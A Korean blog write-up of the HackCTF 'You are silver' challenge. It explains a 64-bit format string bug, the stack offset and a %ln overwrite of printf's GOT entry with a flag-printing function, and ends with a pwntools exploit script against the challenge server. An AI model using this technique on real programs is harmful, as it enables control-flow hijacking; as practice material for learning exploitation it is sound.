본문 바로가기
Wargame/HackCTF

You are silver

by Anatis 2021. 3. 26.

 

1. Mitigation

보호기법은 GOT Overwrite가 가능하고 실행 권한이 없다.

 

2. 문제 확인

문제를 실행시키면 입력을 받는데 입력을 받은 값을 출력해주고 You are silver 문자를 출력해준다.

 

3. 풀이

main 함수 영역을 보면 fgets로 입력을 받고 printf로 출력해주는데 formatstring bug가 일어난다. FSB 문제인거 같다.

계속해서 get_tier함수를 한번 보자.

 

get_tier 함수는 v6의 값에 따라 티어가 정해지는거 같고 result를 출력해준다. IDA로 통해 함수 부분을 살펴보면

paly_game라는 함수가 있는데 이 함수도 살펴 보자.

 

play_game 함수를 보면 get_tier에서 리턴해준 result 값이 4일때 flag를 보여준다. 

그러면 main 함수에서 확인한 포멧스트링 버그가 일어나는지 확인하자.

 

버그를 확인해본 결과 6번째 위치에서 0x4141414141414141이 출력되는 것을 볼 수 있다. 6번째가 buf의 시작 주소이다. 

64bit FSB에서는 레지스터들 RSI, RDX, RCX R8, R9의 정보를 먼저 출력해준 다음 스택의 정보를 보여주기 때문에 6번째 부터 

출력된것을 볼 수 있고 출력할 때 %p나 %lx로 overwriting 할 때는 %ln, %hn, %hhn 같은 방법으로 나눠서 전달 하는 방법이 있다. 그러면 flag를 얻을려면 printf_got를 play_game 함수의 주소로 덮어주면 printf((const char *)v5)를 실행되지 않고 play_game((const char *)v5)가 실행된다. 일단 flag를 보기 위해서는 get_tier 함수에서 75 초과가 되야지 리턴 값으로 4를 받을 수 있다.

fgets에서 46 바이트 만큼 입력을 받는데 s는  rbp - 0x30, v6는 rbp - 0x4이다. 즉 s는 48 v6는 4인데 입력은 46 바이트 입력을 받는데 마지막 2바이트만 75보다 큰값으로 바꿔주면 된다.

 

exploit code를 작성하기전에 printf_got를 출력할때 fgets로 입력받기 때문에 '\x00'을 채워서 출력하기 때문에 printf_got를 먼저 출력하면 안된다. 그러면 play_game = 4196055 이니까 "%4196055x" + "%8$lnLL" + printf_got를 할건데 "LL"을 해준것은

8 바이트씩 제대로 끊어주기 위해 패딩 해준 것 이다.

 

exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3022)
e = ELF('./you_are_silver')

flag = 0x4006d7
printf_got = 0x601098

payload = '%4196055x'
payload += '%8$ln'
payload += 'L'*2
payload += p64(e.got['printf'])
payload += 'L' * (46 - len(payload))

r.sendline(payload)

r.interactive()

'Wargame > HackCTF' 카테고리의 다른 글

Unexploitable #2  (0) 2021.03.31
Unexploitable #1  (0) 2021.03.31
SysROP  (0) 2021.03.24
Pwning  (0) 2021.03.23
Gift  (0) 2021.03.23

댓글